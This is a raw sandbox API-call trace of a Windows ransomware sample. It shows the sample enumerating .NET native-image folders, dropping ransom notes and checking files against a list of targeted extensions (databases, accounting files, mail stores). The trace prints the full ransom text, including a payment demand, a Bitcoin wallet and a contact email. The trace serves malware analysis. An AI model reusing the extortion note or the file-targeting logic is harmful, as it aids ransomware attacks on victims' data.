ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6723fb0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6770270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x38c400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Extensions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0122.627] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.627] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.ni.dll") returned -1 [0122.627] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.ni.dll") returned -1 [0122.627] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.ni.dll") returned -1 [0122.627] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\*.*") returned="*.*" [0122.627] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\" [0122.627] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\") returned="" [0122.627] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\HOW TO DECRYPT FILES.txt" [0122.627] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\how to decrypt files.txt")) returned 0xffffffff [0122.628] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0122.630] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0122.630] CloseHandle (hObject=0x90) returned 1 [0122.630] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\", lpString2="System.Web.Extensions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\System.Web.Extensions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\System.Web.Extensions.ni.dll" [0122.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\System.Web.Extensions.ni.dll", pszSpec="*.ems") returned 0 [0122.631] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6770270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6770270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6770270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xe80, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0122.631] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.631] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.ni.dll.aux") returned -1 [0122.631] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.ni.dll.aux") returned -1 [0122.631] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.ni.dll.aux") returned -1 [0122.631] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\System.Web.Extensions.ni.dll") returned="System.Web.Extensions.ni.dll" [0122.631] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\" [0122.631] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\") returned="" [0122.631] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\HOW TO DECRYPT FILES.txt" [0122.631] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\how to decrypt files.txt")) returned 0x20 [0122.631] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\", lpString2="System.Web.Extensions.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\System.Web.Extensions.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\System.Web.Extensions.ni.dll.aux" [0122.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.28b9ef5a#\\4299b96732f17d4e5d50b2ef75728790\\System.Web.Extensions.ni.dll.aux", pszSpec="*.ems") returned 0 [0122.632] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6770270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6770270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6770270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xe80, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0122.632] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0122.632] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa674a110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6770270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6770270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4299b96732f17d4e5d50b2ef75728790", cAlternateFileName="4299B9~1")) returned 0 [0122.632] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0122.632] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefb6df0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefb6df0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.4961ff77#", cAlternateFileName="SYSTEM~1.496")) returned 1 [0122.632] lstrcmpA (lpString1=".", lpString2="System.Web.4961ff77#") returned -1 [0122.632] lstrcmpA (lpString1="..", lpString2="System.Web.4961ff77#") returned -1 [0122.635] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0122.635] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.4961ff77#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#" [0122.635] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#") returned 67 [0122.635] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefb6df0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefb6df0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0122.648] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.648] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefb6df0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefb6df0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.648] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.648] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.648] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefdcf50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefdcf50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d65f716bd16596ffb7bcc232635739bc", cAlternateFileName="D65F71~1")) returned 1 [0122.648] lstrcmpA (lpString1=".", lpString2="d65f716bd16596ffb7bcc232635739bc") returned -1 [0122.648] lstrcmpA (lpString1="..", lpString2="d65f716bd16596ffb7bcc232635739bc") returned -1 [0122.648] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\*.*") returned="*.*" [0122.648] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\", lpString2="d65f716bd16596ffb7bcc232635739bc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc" [0122.649] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc") returned 100 [0122.649] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefdcf50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefdcf50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0122.711] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.711] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefdcf50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefdcf50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.711] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.711] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.711] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb6df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaefb6df0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaefdcf50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Entity.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0122.712] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.712] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.Design.ni.dll") returned -1 [0122.712] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.Design.ni.dll") returned -1 [0122.712] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.Design.ni.dll") returned -1 [0122.712] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\*.*") returned="*.*" [0122.712] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\" [0122.712] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\") returned="" [0122.712] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\HOW TO DECRYPT FILES.txt" [0122.712] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\how to decrypt files.txt")) returned 0xffffffff [0122.712] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0122.714] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0122.714] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0122.715] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0122.716] CloseHandle (hObject=0x90) returned 1 [0122.716] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\", lpString2="System.Web.Entity.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll" [0122.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.ems") returned 0 [0122.716] lstrlenA (lpString="*.ems") returned 5 [0122.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.db") returned 0 [0122.716] lstrlenA (lpString="*.db") returned 4 [0122.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.dbf") returned 0 [0122.716] lstrlenA (lpString="*.dbf") returned 5 [0122.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.myox") returned 0 [0122.716] lstrlenA (lpString="*.myox") returned 6 [0122.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.myo") returned 0 [0122.716] lstrlenA (lpString="*.myo") returned 5 [0122.716] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.qbw") returned 0 [0122.716] lstrlenA (lpString="*.qbw") returned 5 [0122.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.qbb") returned 0 [0122.717] lstrlenA (lpString="*.qbb") returned 5 [0122.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.qbm") returned 0 [0122.717] lstrlenA (lpString="*.qbm") returned 5 [0122.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.qbo") returned 0 [0122.717] lstrlenA (lpString="*.qbo") returned 5 [0122.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.qbx") returned 0 [0122.717] lstrlenA (lpString="*.qbx") returned 5 [0122.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.qba") returned 0 [0122.717] lstrlenA (lpString="*.qba") returned 5 [0122.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.qby") returned 0 [0122.717] lstrlenA (lpString="*.qby") returned 5 [0122.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.qbj") returned 0 [0122.717] lstrlenA (lpString="*.qbj") returned 5 [0122.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.ofx") returned 0 [0122.717] lstrlenA (lpString="*.ofx") returned 5 [0122.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.qif") returned 0 [0122.717] lstrlenA (lpString="*.qif") returned 5 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.mye") returned 0 [0122.718] lstrlenA (lpString="*.mye") returned 5 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.mbox") returned 0 [0122.718] lstrlenA (lpString="*.mbox") returned 6 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.eml") returned 0 [0122.718] lstrlenA (lpString="*.eml") returned 5 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.pst") returned 0 [0122.718] lstrlenA (lpString="*.pst") returned 5 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.ost") returned 0 [0122.718] lstrlenA (lpString="*.ost") returned 5 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.idx") returned 0 [0122.718] lstrlenA (lpString="*.idx") returned 5 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.dbx") returned 0 [0122.718] lstrlenA (lpString="*.dbx") returned 5 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.sql") returned 0 [0122.718] lstrlenA (lpString="*.sql") returned 5 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.mdb") returned 0 [0122.718] lstrlenA (lpString="*.mdb") returned 5 [0122.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", pszSpec="*.fdb") returned 0 [0122.718] lstrlenA (lpString="*.fdb") returned 5 [0122.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.4961ff77#\\d65f716bd16596ffb7bcc232635739bc\\System.Web.Entity.Design.ni.dll", 